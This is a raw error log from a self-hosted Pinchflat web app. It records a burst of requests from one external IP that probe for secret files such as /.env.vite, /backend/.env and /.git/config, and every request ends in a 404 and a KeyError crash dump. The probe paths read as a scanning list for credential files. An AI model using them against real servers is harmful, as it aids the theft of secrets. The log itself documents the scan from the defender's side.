"gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21401.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfM6djVJPyQUACL8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21400.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51890}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21400.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51890}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21401.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfM6djVJPyQUACL8B"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:14.634 [info] GET /.env.vite 15:40:14.635 [debug] QUERY OK source="settings" db=0.1ms idle=209.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.635 [debug] QUERY OK source="settings" db=0.0ms idle=117.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.635 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.636 [info] GET /.vite/manifest.json 15:40:14.635 [error] #PID<0.21403.0> running PinchflatWeb.Endpoint (connection #PID<0.21402.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.vite ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21402.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vite", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51896}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21403.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.vite", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfNTonrxl41UACL8h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21402.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vite", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51896}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21402.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vite", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51896}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21403.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.vite", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfNTonrxl41UACL8h"} ], scheme: :http, script_name: [], secret_key_base: : (truncated) 15:40:14.636 [debug] QUERY OK source="settings" db=0.1ms idle=118.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.636 [debug] QUERY OK source="settings" db=0.0ms idle=107.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.636 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.636 [error] #PID<0.21405.0> running PinchflatWeb.Endpoint (connection #PID<0.21404.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.vite/manifest.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vite/manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21404.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vite/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51902}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21405.0>, params: %{}, path_info: [".vite", "manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.vite/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfNUDB8mLNhMACL9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21404.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vite/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51902}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vite/manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21404.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vite/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51902}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21405.0>, params: %{}, path_info: [".vite", "manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.vite/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfNUDB8 (truncated) 15:40:14.739 [info] GET /.git/config 15:40:14.739 [debug] QUERY OK source="settings" db=0.1ms idle=209.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.739 [debug] QUERY OK source="settings" db=0.0ms idle=104.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.739 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.739 [error] #PID<0.21407.0> running PinchflatWeb.Endpoint (connection #PID<0.21406.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21406.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51904}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21407.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfNsf1KXPUQ0ACL9h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21406.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51904}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21406.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51904}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21407.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfNsf1KXPUQ0ACL9h"} ], scheme: :http, (truncated) 15:40:14.748 [info] GET /backend/.env 15:40:14.749 [debug] QUERY OK source="settings" db=0.1ms idle=113.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.749 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:14.749 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:14.749 [error] #PID<0.21409.0> running PinchflatWeb.Endpoint (connection #PID<0.21408.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21408.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51908}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", 